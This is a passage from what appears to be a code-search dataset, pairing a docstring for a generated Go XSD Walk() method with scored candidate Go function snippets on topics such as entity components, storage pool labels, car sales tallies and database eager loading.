{\n\t\tc := comps[0]\n\t\tw.exchange(entity, []ID{c.ID}, nil, relation, target)\n\t\tw.copyTo(entity, c.ID, c.Comp)\n\t\treturn\n\t}\n\tids := make([]ID, len)\n\tfor i, c := range comps {\n\t\tids[i] = c.ID\n\t}\n\tw.exchange(entity, ids, nil, relation, target)\n\tfor _, c := range comps {\n\t\tw.copyTo(entity, c.ID, c.Comp)\n\t}\n}", "title": "" }, { "docid": "9923421b86fd419e97d619ba63e2966a", "score": "0.3979403", "text": "func getDeployLabels(csp *cstor.CStorPoolInstance) map[string]string {\n\treturn map[string]string{\n\t\tstring(types.CStorPoolClusterLabelKey): csp.Labels[types.CStorPoolClusterLabelKey],\n\t\t\"app\": \"cstor-pool\",\n\t\tstring(types.CStorPoolInstanceLabelKey): csp.Name,\n\t\t\"openebs.io/version\": version.GetVersion(),\n\t}\n}", "title": "" }, { "docid": "2ff39e68b9f83f6f9570e709907d810d", "score": "0.39753076", "text": "func (a allocSet) nameSet() map[string]struct{} {\n\tnames := make(map[string]struct{}, len(a))\n\tfor _, alloc := range a {\n\t\tnames[alloc.Name] = struct{}{}\n\t}\n\treturn names\n}", "title": "" }, { "docid": "3962a48d582ffa554e1334b4b475f82d", "score": "0.3973997", "text": "func updateCountryMap(sale carSale, cMap countryMap) {\n\t// Update total sales and the number of sold vehicles\n\t*cMap.TotalSales = sale.Price + *cMap.TotalSales\n\t*cMap.QuantitySold++\n\t// Check each map to see if elements in sale are unique\n\t// If so, create entry for them, otherwise increment existing entry\n\t_, ok := cMap.Cars[sale.Make+\" \"+sale.Model]\n\tif !ok {\n\t\tcMap.Cars[sale.Make+\" \"+sale.Model] = 1\n\t} else {\n\t\tcMap.Cars[sale.Make+\" \"+sale.Model]++\n\t}\n\t_, ok = cMap.Makes[sale.Make]\n\tif !ok {\n\t\tcMap.Makes[sale.Make] = 1\n\t} else {\n\t\tcMap.Makes[sale.Make]++\n\t}\n\t_, ok = cMap.Sellers[sale.SoldBy]\n\tif !ok {\n\t\tcMap.Sellers[sale.SoldBy] = 1\n\t} else {\n\t\tcMap.Sellers[sale.SoldBy]++\n\t}\n}", "title": "" }, { "docid": "2f52bb935b2ef21c27cb413c25d1b482", "score": "0.39654475", "text": "func MajorCityOf(g *Grid, i, j int) (string, int) {\n r := g.Grid[i][j]\n if r == nil {\n return \"\", 0\n }\n\n // some regions have zips with the same city name, combine them.\n m := map[string]int{}\n for _, zip := range r.Zips {\n m[zip.City] += zip.Pop\n }\n\n var name string\n var pop int\n\n for k, v := range m {\n if v > pop {\n name = k\n pop = v\n }\n }\n\n return name, pop\n}", "title": "" }, { "docid": "54a2bfdc49c7cb2f7807b18f205652de", "score": "0.39531004", "text": "func (lmi *LMI) Computers() map[uint64]*Computer {\n\treturn lmi.computers\n}", "title": "" }, { "docid": "4f8d2aed632886dab6eb4355f28e7b0d", "score": "0.39516464", "text": "func TestCityNames(t *testing.T) {\n\tsession := NewSession()\n\tfor i := 0; i < 25; i++ {\n\t\t_, err := session.GetCityName()\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Problem requesting names: %+v\", err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e6e599608bad739a829d77ddccb13546", "score": "0.39502874", "text": "func (instrumentL) LoadCompanyCurrencyEquities(e boil.Executor, singular bool, maybeInstrument interface{}) error {\n\tvar slice []*Instrument\n\tvar object *Instrument\n\n\tcount := 1\n\tif singular {\n\t\tobject = maybeInstrument.(*Instrument)\n\t} else {\n\t\tslice = *maybeInstrument.(*[]*Instrument)\n\t\tcount = len(slice)\n\t}\n\n\targs := make([]interface{}, count)\n\tif singular {\n\t\tif object.R == nil {\n\t\t\tobject.R = &instrumentR{}\n\t\t}\n\t\targs[0] = object.ID\n\t} else {\n\t\tfor i, obj := range slice {\n\t\t\tif obj.R == nil {\n\t\t\t\tobj.R = &instrumentR{}\n\t\t\t}\n\t\t\targs[i] = obj.ID\n\t\t}\n\t}\n\n\tquery := fmt.Sprintf(\n\t\t\"select * from \\\"instruments\\\".\\\"equity\\\" where \\\"company_currency_id\\\" in (%s)\",\n\t\tstrmangle.Placeholders(dialect.IndexPlaceholders, count, 1, 1),\n\t)\n\tif boil.DebugMode {\n\t\tfmt.Fprintf(boil.DebugWriter, \"%s\\n%v\\n\", query, args)\n\t}\n\n\tresults, err := e.Query(query, args...)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to eager load equity\")\n\t}\n\tdefer results.Close()\n\n\tvar resultSlice []*Equity\n\tif err = queries.Bind(results, &resultSlice); err != nil {\n\t\treturn errors.Wrap(err, \"failed to bind eager loaded slice equity\")\n\t}\n\n\tif len(equityAfterSelectHooks) != 0 {\n\t\tfor _, obj := range resultSlice {\n\t\t\tif err := obj.doAfterSelectHooks(e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\tif singular {\n\t\tobject.R.CompanyCurrencyEquities = resultSlice\n\t\treturn nil\n\t}\n\n\tfor _, foreign := range resultSlice {\n\t\tfor _, local := range slice {\n\t\t\tif local.ID == foreign.CompanyCurrencyID.Int {\n\t\t\t\tlocal.R.CompanyCurrencyEquities = append(local.R.CompanyCurrencyEquities, foreign)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "55d4f950ad1c45c64179c5a5ce75d90f", "score": "0.3947019", "text": "func main() {\n\n\tfp, err := os.Open(\"C:\\\\Users\\\\marth\\\\OneDrive\\\\Desktop\\\\2020-2\\\\Distribuidos\\\\Lab 1\\\\Lab1_arch_ej\\\\pymes.csv\")\n\tif err != nil {\n\t\tlog.Fatalln(\"Can't open file: \", err)\n\t}\n\n\tr := csv.NewReader(fp)\n\n\tItemsByID = make(map[string]*Items)\n\n\tfor {\n\t\trecord, err := r.Read()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"error reading file: \", err)\n\t\t}\n\n\t\tproducto := Items{id: record[0], name: record[1], prioridad: record[5], data: []string{record[2], record[3], record[4]}}\n\n\t\tstore(producto)\n\n\t}\n\tfmt.Println(ItemsByID[\"GG301\"])\n\tfmt.Println(ItemsByID[\"CC121\"])\n\n}", "title": "" }, { "docid": "7835b3510129eaf759769a13d4267407", "score": "0.39464554", "text": "func assignJourneysToCars() {\n\t// We are sorting the slice based on the total number of seats\n\t// in order to assign cars with less seats before\n\t// (and leaving free those with more seats for the bigger groups)\n\tsort.SliceStable(cars, func(i, j int) bool {\n\t\treturn cars[i].Seats < cars[j].Seats\n\t})\n\t// We are iterating over the entire slice of journeys to find all of them that are unassigned\n\tfor i, j := range journeys {\n\t\tif journeys[i].CarID == 0 {\n\t\t\tfor k, c := range cars {\n\t\t\t\tif c.Available >= j.People {\n\t\t\t\t\tjourneys[i].CarID = cars[k].ID\n\t\t\t\t\tcars[k].Available -= journeys[i].People\n\t\t\t\t\tlog.Printf(\"Group %d has been assigned to car %d\",\n\t\t\t\t\t\tjourneys[i].ID, cars[k].ID)\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tlog.Printf(\"Group %d can not be assigned to car %d\",\n\t\t\t\t\t\tjourneys[i].ID, cars[k].ID)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tlog.Printf(\"%+v\", cars)\n\tlog.Printf(\"%+v\", journeys)\n}", "title": "" }, { "docid": "bbd57b5cea7dec4cfa8e7904eeeb5dc2", "score": "0.3946127", "text": "func (mtx *NumericMatrix) Map(cb func(Number) Number) *NumericMatrix {\n\tres := NewNumericMatrix(mtx.dimx, mtx.dimy)\n\tfor i := 0; i < mtx.dimx; i++ {\n\t\tfor j := 0; j < mtx.dimy; j++ {\n\t\t\tres.values[i][j] = cb(mtx.values[i][j])\n\t\t}\n\t}\n\treturn res\n}", "title": "" } ]
47179401e12182e98e7b134462004488
If the WalkHandlers.XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_ function is not nil (ie. was set by outside code), calls it with this XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_ instance as the single argument. Then calls the Walk() method on 0/0 embed(s) and 1/1 field(s) belonging to this XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_ instance.
[ { "docid": "5695c0d32a762b335bce162a1885bb55", "score": "0.84072423", "text": "func (me *XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleCoverageEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" } ]
[ { "docid": "c9ca65a304914d5ee1eafca0e16f076a", "score": "0.8291905", "text": "func (me *XsdGoPkgHasElem_sample_coverage_enablechoicegles_pipeline_settingsschema_SampleCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleCoverageEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_coverage_enablechoicegles_pipeline_settingsschema_SampleCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleCoverageEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleCoverageEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "68cecc65c07feb4951f6da47e9cde572", "score": "0.7940559", "text": "func (me *XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegles_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToCoverageEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegles_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToCoverageEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleAlphaToCoverageEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "e084ac3030d7107519af98c0f3158ae1", "score": "0.79212165", "text": "func (me *XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegl_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToCoverageEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegl_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToCoverageEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleAlphaToCoverageEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "467c1d6e4e0df1882e896cb5653e59c7", "score": "0.6913847", "text": "func (me *XsdGoPkgHasElem_scissor_test_enablechoicegl_pipeline_settingsschema_ScissorTestEnable_TxsdGlPipelineSettingsChoiceScissorTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_scissor_test_enablechoicegl_pipeline_settingsschema_ScissorTestEnable_TxsdGlPipelineSettingsChoiceScissorTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ScissorTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "3ade2e64f9be7ab3941c1d58b93e056d", "score": "0.690908", "text": "func (me *XsdGoPkgHasElem_multisample_enablechoicegles_pipeline_settingsschema_MultisampleEnable_TxsdGlesPipelineSettingsChoiceMultisampleEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_multisample_enablechoicegles_pipeline_settingsschema_MultisampleEnable_TxsdGlesPipelineSettingsChoiceMultisampleEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.MultisampleEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "697149a0c585be708cd54e3325da45c2", "score": "0.6891575", "text": "func (me *XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegles_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToOneEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegles_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToOneEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleAlphaToOneEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "46d71429138ab5421419898729598d53", "score": "0.6878375", "text": "func (me *XsdGoPkgHasElem_scissor_test_enablechoicegles_pipeline_settingsschema_ScissorTestEnable_TxsdGlesPipelineSettingsChoiceScissorTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_scissor_test_enablechoicegles_pipeline_settingsschema_ScissorTestEnable_TxsdGlesPipelineSettingsChoiceScissorTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ScissorTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "7c7783477d293f60573391d3dc980fe0", "score": "0.68256974", "text": "func (me *XsdGoPkgHasElem_stencil_test_enablechoicegl_pipeline_settingsschema_StencilTestEnable_TxsdGlPipelineSettingsChoiceStencilTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_stencil_test_enablechoicegl_pipeline_settingsschema_StencilTestEnable_TxsdGlPipelineSettingsChoiceStencilTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.StencilTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "b3be7cd59f557acc70b01532b276f118", "score": "0.68224406", "text": "func (me *XsdGoPkgHasElem_multisample_enablechoicegl_pipeline_settingsschema_MultisampleEnable_TxsdGlPipelineSettingsChoiceMultisampleEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_multisample_enablechoicegl_pipeline_settingsschema_MultisampleEnable_TxsdGlPipelineSettingsChoiceMultisampleEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.MultisampleEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "55f58853459b7bcd0dcef7987a966bcb", "score": "0.678037", "text": "func (me *XsdGoPkgHasElem_stencil_test_enablechoicegles_pipeline_settingsschema_StencilTestEnable_TxsdGlesPipelineSettingsChoiceStencilTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_stencil_test_enablechoicegles_pipeline_settingsschema_StencilTestEnable_TxsdGlesPipelineSettingsChoiceStencilTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.StencilTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "1401c1ccfba9cf72dd2dbcc22ed316d7", "score": "0.67315364", "text": "func (me *XsdGoPkgHasElem_depth_test_enablechoicegl_pipeline_settingsschema_DepthTestEnable_TxsdGlPipelineSettingsChoiceDepthTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_depth_test_enablechoicegl_pipeline_settingsschema_DepthTestEnable_TxsdGlPipelineSettingsChoiceDepthTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DepthTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "17b7ddf43fc77f09eb4f9af478426f01", "score": "0.67153156", "text": "func (me *XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegl_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToOneEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegl_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToOneEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.SampleAlphaToOneEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "aaa62480ec00a01eb3e0a101d415e2fd", "score": "0.67059505", "text": "func (me *XsdGoPkgHasElem_texture_pipeline_enablechoicegles_pipeline_settingsschema_TexturePipelineEnable_TxsdGlesPipelineSettingsChoiceTexturePipelineEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture_pipeline_enablechoicegles_pipeline_settingsschema_TexturePipelineEnable_TxsdGlesPipelineSettingsChoiceTexturePipelineEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.TexturePipelineEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "66b67b606b747062653fe802c4dae8f7", "score": "0.6697578", "text": "func (me *XsdGoPkgHasElem_depth_test_enablechoicegles_pipeline_settingsschema_DepthTestEnable_TxsdGlesPipelineSettingsChoiceDepthTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_depth_test_enablechoicegles_pipeline_settingsschema_DepthTestEnable_TxsdGlesPipelineSettingsChoiceDepthTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DepthTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a055007e1ab6d8c715688011ecdc7340", "score": "0.6588418", "text": "func (me *XsdGoPkgHasElem_alpha_test_enablechoicegles_pipeline_settingsschema_AlphaTestEnable_TxsdGlesPipelineSettingsChoiceAlphaTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_alpha_test_enablechoicegles_pipeline_settingsschema_AlphaTestEnable_TxsdGlesPipelineSettingsChoiceAlphaTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.AlphaTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "46b8ee05ccf22573324a6ed008e71af7", "score": "0.65677434", "text": "func (me *XsdGoPkgHasElem_blend_enablechoicegles_pipeline_settingsschema_BlendEnable_TxsdGlesPipelineSettingsChoiceBlendEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_blend_enablechoicegles_pipeline_settingsschema_BlendEnable_TxsdGlesPipelineSettingsChoiceBlendEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.BlendEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "e7c4ae38fc73635d5698122311603c16", "score": "0.6555655", "text": "func (me *XsdGoPkgHasElem_alpha_test_enablechoicegl_pipeline_settingsschema_AlphaTestEnable_TxsdGlPipelineSettingsChoiceAlphaTestEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_alpha_test_enablechoicegl_pipeline_settingsschema_AlphaTestEnable_TxsdGlPipelineSettingsChoiceAlphaTestEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.AlphaTestEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "079f3094c13c4927e81a9c40660e4565", "score": "0.65380144", "text": "func (me *XsdGoPkgHasElem_blend_enablechoicegl_pipeline_settingsschema_BlendEnable_TxsdGlPipelineSettingsChoiceBlendEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_blend_enablechoicegl_pipeline_settingsschema_BlendEnable_TxsdGlPipelineSettingsChoiceBlendEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) 